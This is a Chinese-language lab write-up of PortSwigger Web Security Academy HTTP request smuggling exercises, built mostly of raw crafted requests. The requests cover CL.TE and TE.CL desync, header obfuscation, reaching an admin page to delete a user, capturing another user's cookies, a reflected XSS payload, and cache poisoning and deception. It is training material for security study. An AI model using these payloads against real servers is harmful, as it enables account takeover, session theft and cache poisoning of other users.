HTTP request smuggling

目录

建议配合浅谈HTTP请求走私食用

HTTP request smuggling, basic CL.TE vulnerability

  • 题目描述

    • 此靶场有前端&后端服务器
    • 前端服务器不支持Tranfer-Encoding
    • 前端服务器拒绝除GET POST之外的请求方式
  • 要求

    • 进行一次GPOST请求
  • 解题过程

    • 构造请求

      • Content-LengthTransfer-Encoding 同时出现时,Content-Length 会被忽略。
      • Content-Length计算时,要把\r\n计算在内(2字节),且首行的\r\n不计算
      POST / HTTP/1.1
      Host: ac521fe01ea7d406808f07ec00ae0019.web-security-academy.net
      Connection: close
      Content-Length: 6
      Content-Type: application/x-www-form-urlencoded
      Transfer-Encoding: chunked 0 G

      前端服务器正常处理,但发送到后端服务器时,会产生两个请求:

      POST / HTTP/1.1
      Host: ac521fe01ea7d406808f07ec00ae0019.web-security-academy.net
      Connection: close
      Content-Length: 6
      Content-Type: application/x-www-form-urlencoded
      Transfer-Encoding: chunked 0

      G

      只需要再用POST访问一次,即可拼接成

      GPOST / HTTP/1.1
      Host: ac521fe01ea7d406808f07ec00ae0019.web-security-academy.net
      Connection: close
      Content-Length: 6
      Content-Type: application/x-www-form-urlencoded
      Transfer-Encoding: chunked 0

HTTP request smuggling, basic TE.CL vulnerability

  • 题目描述

    • 此靶场有前端&后端服务器
    • 后端服务器不支持Transfer-Encoding
    • 前端服务器拒绝除GET POST之外的所有请求方式
  • 要求

    • 进行一次GPOST请求
  • 解题过程

    • 需要关闭Burp Suite中的Update COntent-Length选项

    • 构造请求

      • 需要注意,chunked下,需要在每个chunk前用十六进制表示该chunk的大小(不算表示块终的\r\n
      POST / HTTP/1.1
      Host: acfd1f981fff47c180bb187600d00030.web-security-academy.net
      Content-Type: application/x-www-form-urlencoded
      Content-length: 4
      Transfer-Encoding: chunked 57
      GPOST / HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 10 0

HTTP request smuggling, obfuscating the TE header

  • 题目描述

    • 此靶场有前端&后端服务器
    • 有重复的HTTP请求头时,两个服务器的处理方式不同
    • 前端服务器拒绝GET POST之外的请求方式
  • 要求

    • 进行一次GPOST请求
  • 解题过程

    • 示例试了好多都不行,看了solution,要多加一个Transfer-encoding: xxx。。。发现审题审错了

      POST / HTTP/1.1
      Host: ac121fa21f537ddc80cc62410043006a.web-security-academy.net
      Connection: close
      Content-Type: application/x-www-form-urlencoded
      Transfer-Encoding: chunked
      Transfer-encoding: x
      Content-Length: 4 57
      GPOST / HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 10 0

HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

  • 题目描述

    • 此靶场有前端&后端服务器
    • 前端服务器不支持Transfer-Encoding
  • 要求

    • 进行HTTP请求走私,使得下一个访问/的请求返回404
  • 解题过程

    • 构造一个访问404页面的请求走私就好了

      POST / HTTP/1.1
      Host: ac941f561fb1305680d6062e0058002c.web-security-academy.net
      Connection: close
      Content-Type: application/x-www-form-urlencoded
      Transfer-Encoding: chunked
      Content-Length: 79 0 GET /404 HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      X: x

HTTP request smuggling, confirming a TE.CL vulnerability via differential responses

  • 题目描述

    • 此靶场有前端&后端服务器
    • 后端服务器不支持Transfer-Encoding
  • 要求

    • 进行HTTP请求走私,使得下一个访问/的请求返回404
  • 解题过程

    • 和上一题类似,换成TE.CL就好了

      POST / HTTP/1.1
      Host: ac481f211e557bc680d30660008a00f3.web-security-academy.net
      Content-Type: application/x-www-form-urlencoded
      Content-length: 4
      Transfer-Encoding: chunked 58
      GET /404 HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 30 0

Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability

  • 题目描述

    • 此靶场有前端&后端服务器
    • 前端服务器不支持Transfer-Encoding
    • 存在管理员页面/admin,但前端服务器禁止访问该页面
  • 要求

    • 访问/admin并删除carlos的账号(这出题人指定跟carlos过不去)
  • 解题过程

    • 和上面的思路一样,走私一个访问/admin的请求

      POST / HTTP/1.1
      Host: ac2a1f221e94836b8057a22200d40099.web-security-academy.net
      Connection: close
      Content-Type: application/x-www-form-urlencoded
      Transfer-Encoding: chunked
      Content-Length: 79 0 GET /admin HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      X: x

      提示Admin interface only available to local users,添加一个伪造IP的请求头(把知道的都试了一遍都不行,看了solution需要用host

      POST / HTTP/1.1
      Host: ac2a1f221e94836b8057a22200d40099.web-security-academy.net
      Connection: close
      Content-Type: application/x-www-form-urlencoded
      Transfer-Encoding: chunked
      Content-Length: 79 0 POST /admin HTTP/1.1
      Host: localhost
      Content-Type: application/x-www-form-urlencoded xxx&

      紧跟着的请求

      GET / HTTP/1.1
      Host: ac2a1f221e94836b8057a22200d40099.web-security-academy.net

      然后按照上面的方法,构造一个删除carlos账号的请求就好了

    • 最终的exp === /admin换成/admin/delete?username=carlos

Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability

  • 题目描述

    • 此靶场有前端&后端服务器
    • 后端服务器不支持Transfer-Encoding
    • 存在管理员页面/admin,但前端服务器禁止访问该页面
  • 要求

    • 访问/admin并删除carlos的账号
  • 解题过程

    • 换汤不换药,上一题的方法改成TE.CL就行

    • exp

      POST / HTTP/1.1
      Host: ac7a1fa81ef16a3a800c23a400de003c.web-security-academy.net
      Content-Type: application/x-www-form-urlencoded
      Content-length: 4
      Transfer-Encoding: chunked 83
      POST /admin/delete?username=carlos HTTP/1.1
      Host: localhost
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 30 0
      GET / HTTP/1.1
      Host: ac7a1fa81ef16a3a800c23a400de003c.web-security-academy.net

Exploiting HTTP request smuggling to reveal front-end request rewriting

  • 题目描述

    • 此靶场有前端&后端服务器
    • 前端服务器不支持Transfer-Encoding --> CL.TE
    • 存在管理员页面/admin,但只有ip==127.0.0.1的用户才能访问
    • 前端服务器 给传入的请求添加了包含IP的HTTP请求头
    • 大致意思
      • HTTP请求 --> 前端服务器 (添加HTTP请求头)--> 后端服务器
  • 要求

    • 删除carlos的账号
  • 解题过程

    • 材料给了提示,先找找会返回输入的 (POST) 功能点 --> 搜索

    • 先构造个简单的,看看前端服务器添加了些啥

      POST / HTTP/1.1
      Host: ac611f541e199c3880625911008c0059.web-security-academy.net
      Connection: close
      Content-Type: application/x-www-form-urlencoded
      Transfer-Encoding: chunked
      Content-Length: 101 0 POST / HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 222 search=

      连发两边,获得请求包:

      POST / HTTP/1.1
      X-qFYlCI-Ip: 13.127.209.47
      Host: ac611f541e199c3880625911008c0059.web-security-academy.net
      Content-Type: application/x-www-form-urlencoded
      Transfer-Encoding: chunked
      Content-Length: 101 0

      设置IP的请求头X-qFYlCI-Ip

    • 构造exp

      POST / HTTP/1.1
      Host: ac611f541e199c3880625911008c0059.web-security-academy.net
      Connection: close
      Content-Type: application/x-www-form-urlencoded
      Transfer-Encoding: chunked
      Content-Length: 144 0 POST /admin/delete?username=carlos HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      X-qFYlCI-Ip: 127.0.0.1
      Content-Length: 0

Exploiting HTTP request smuggling to capture other users' requests

  • 题目描述

    • 此靶场有前端&后端服务器
    • 前端服务器不支持Transfer-Encoding --> CL.TE
  • 要求

    • 通过走私请求来获取下一个用户的请求,并使用下一个用户的cookie登录
  • 解题过程

    • 需要寻找一个可以返回/保存信息的功能点 --> 评论 ,而且csrf token不会失效

    • 构造exp

      POST / HTTP/1.1
      Host: ace91f721e814bba80f528c000a600f8.web-security-academy.net
      Connection: close
      Content-Type: application/x-www-form-urlencoded
      Transfer-Encoding: chunked
      Cookie: victim-fingerprint=w09BWrZPFqVXkVgkVvuEboC4NdVpeGTW; secret=EOQzcrm5jNsBBUO2hWKEOl0WWzwl1bjs;
      Content-Length: 291 0 POST /post/comment HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      Cookie: session=jQaZVDTI26LnAcK6YSDCWY2yDIgJWXqa
      Content-Length: 764 csrf=U65lnzldkL6JqoUw6XYEEAXmaK4RhXbF&postId=5&name=asd&email=test%40test.com&website=https%3A%2F%2Fasd%27%27%27%27&comment=aaaaaaaaaaa

      测了老半天,受害者差不多2分钟左右访问一次,然后这个长度也是。。。经常读到小半截cookie

Exploiting HTTP request smuggling to deliver reflected XSS

  • 题目描述

    • 此靶场有前端&后端服务器
    • 前端服务器不支持Transfer-Encoding --> CL.TE
    • UA头存在反射型xss
  • 要求

    • 通过HTTP请求走私,让受害者执行alert(1)
  • 解题过程

    • 先找xss功能点

      • 在评论框里会加载uA

    • 构造exp

      POST / HTTP/1.1
      Host: ac621f9e1edd0ed4807e5a3c00f9004a.web-security-academy.net
      Connection: close
      Content-Type: application/x-www-form-urlencoded
      Transfer-Encoding: chunked
      Content-Length: 136 0 GET /post?postId=7 HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: asd"><svg/onload=alert(1)><
      Padding: xxx

Exploiting HTTP request smuggling to perform web cache poisoning

  • 题目描述

    • 此靶场有前端&后端服务器
    • 前端服务器不支持Transfer-Encoding --> CL.TE
    • 前端服务器会缓存某些响应
  • 要求

    • 通过缓存投毒,把JS源重定向到exploit server,执行alert(document.cookie)

      • 缓存投毒,就是通过恶意的请求,污染正常的源文件(可以是整个文件的重定向,也可以是其中部分代码),那么之后的请求都会访问到恶意代码。
  • 解题过程

    • 需要构造两个请求,并且设置exploit server

      • 第一个是HTTP请求走私,使下一个访问js资源的请求重定向到exploit server

        • 填坑:这里需要注意,重定向到exploit server的请求需要让后端服务器正常处理,也就是说这里的跳转必须符合后端服务器的正常路由
      • 第二个是正常的访问js资源,使前端服务器更新缓存
      • 很人性化,exploit server已经设置好了(Content-Type: application/javascript)如果CT不对的话,是不会执行的,在body填上alert(document.cookie);就行
    • 构造exp(/post/next必须使用GET方法,其他方法会返回404

      POST / HTTP/1.1
      Host: acb81f971f48e35c80610c45008d0058.web-security-academy.net
      Connection: close
      Content-Type: application/x-www-form-urlencoded
      Transfer-Encoding: chunked
      Content-Length: 186 0 GET /post/next?postId=3 HTTP/1.1
      Host: acd41f671fb3e37980dd0c0a01580001.web-security-academy.net
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 20 padding=xxx

      然后浏览器访问/resources/js/tracking.js即可

Exploiting HTTP request smuggling to perform web cache deception

  • 题目描述

    • 此靶场有前端&后端服务器
    • 前端服务器不支持Transfer-Encoding --> CL.TE
    • 前端服务器会缓存静态资源
    • 受害者在我们发送请求后30秒访问API
  • 要求

    • 获取受害者API key并提交
  • 解题过程

    • 直接构造exp,要去掉无用的请求头,避免出现dumplicate错误,看了网页源码,我猜受害者会请求tracking.js

      POST / HTTP/1.1
      Host: acef1f451e05881080b6051300a50062.web-security-academy.net
      Connection: close
      Content-Type: application/x-www-form-urlencoded
      Transfer-Encoding: chunked
      Content-Length: 186 0 GET /my-account HTTP/1.1
      Padding: x
    • 获取了半天获取不到,看了下solution,思路没错,但是获取方式有点奇怪?要一直发,然后再要用无痕浏览器强制打开看???

      我猜是避免用自己的cookie进行缓存欺骗

Portswigger web security academy:HTTP request smuggling的更多相关文章

  1. Portswigger web security academy:Cross-site request forgery (CSRF)

    Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...

  2. Portswigger web security academy:Server-side request forgery (SSRF)

    Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...

  3. Portswigger web security academy:WebSockets

    Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...

  4. Portswigger web security academy:Clickjacking (UI redressing)

    Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...

  5. Portswigger web security academy:Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  6. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  7. Portswigger web security academy:OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  8. Portswigger web security academy:OS command injection

    Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...

  9. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

随机推荐

  1. IT求职 非技术面试题汇总

    原文链接:https://blog.csdn.net/weixin_40845165/article/details/89852397 说明:原文是浏览网页时无意间看到的.扫了一眼,总结得还不错,感谢 ...

  2. 【译】Rust宏:教程与示例(二)

    原文标题:Macros in Rust: A tutorial with examples 原文链接:https://blog.logrocket.com/macros-in-rust-a-tutor ...

  3. 为什么是InfluxDB | 写在《InfluxDB原理和实战》出版之际

    1年前写的一篇旧文,文中的分析,以及探讨的问题和观点,至今仍有意义. 从2016年起,笔者在腾讯公司负责QQ后台的海量服务分布式组件的架构设计和研发工作,例如微服务开发框架SPP.名字路由CMLB.名 ...

  4. canvas-修改图片亮度

    canvas操作-修改图片亮度 目录 canvas操作-修改图片亮度 图片亮度的概念 下面用ps截图举一个例子: 调整图片亮度的方案 实现方案一 从RGB到HSV的转换 转换的公式 javascrip ...

  5. Java并发编程之基础理论

    内存模型   主内存.工作内存与Java堆.栈.方法区并不是同一个层次的内存划分 勉强对应起来 从定义来看,主内存对应Java堆中对象实例数据部分,工作内存对应虚拟机栈中部分区域 从更低层次来说,主内 ...

  6. vscode远程连接linux服务器,可视化绘图

    vscode远程连接linux服务器 想要实现的功能和解决方案 实现的功能: windows下直接使用远程linux服务器的python环境和文件来编写和运行py文件, 实时的编写py文件,和可视化绘 ...

  7. 攻防世界 reverse 进阶 easyre-153

    easyre-153 查壳: upx壳 脱壳: 1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 int ...

  8. 2021年的UWP(6)——长生命周期Desktop Extension向UWP的反向通知

    上一篇我们讨论了UWP和Desktop Extension间的双向通讯,适用于Desktop Extension中存在用户交互的场景.本篇我们讨论最后一种情况,与前者不同的是,Desktop Exte ...

  9. 有了CMDB,为什么还需要应用配置管理?

    有了CMDB,为什么还需要应用配置管理? 你不妨先停下来,思考一下这个问题. 我抛出的观点是: CMDB是面向资源的管理,应用配置是面向应用的管理. 请注意,这里是面向"资源",不 ...

  10. 常用Linux操作

    常用Linux操作 这里我使用的是Git进行的Linux操作,如果你有服务器.或者LInux系统可以直接尝试 首先保证自己电脑上成功安装好了Git,右键鼠标: 随便找一个文件夹(我这里使用的是桌面的G ...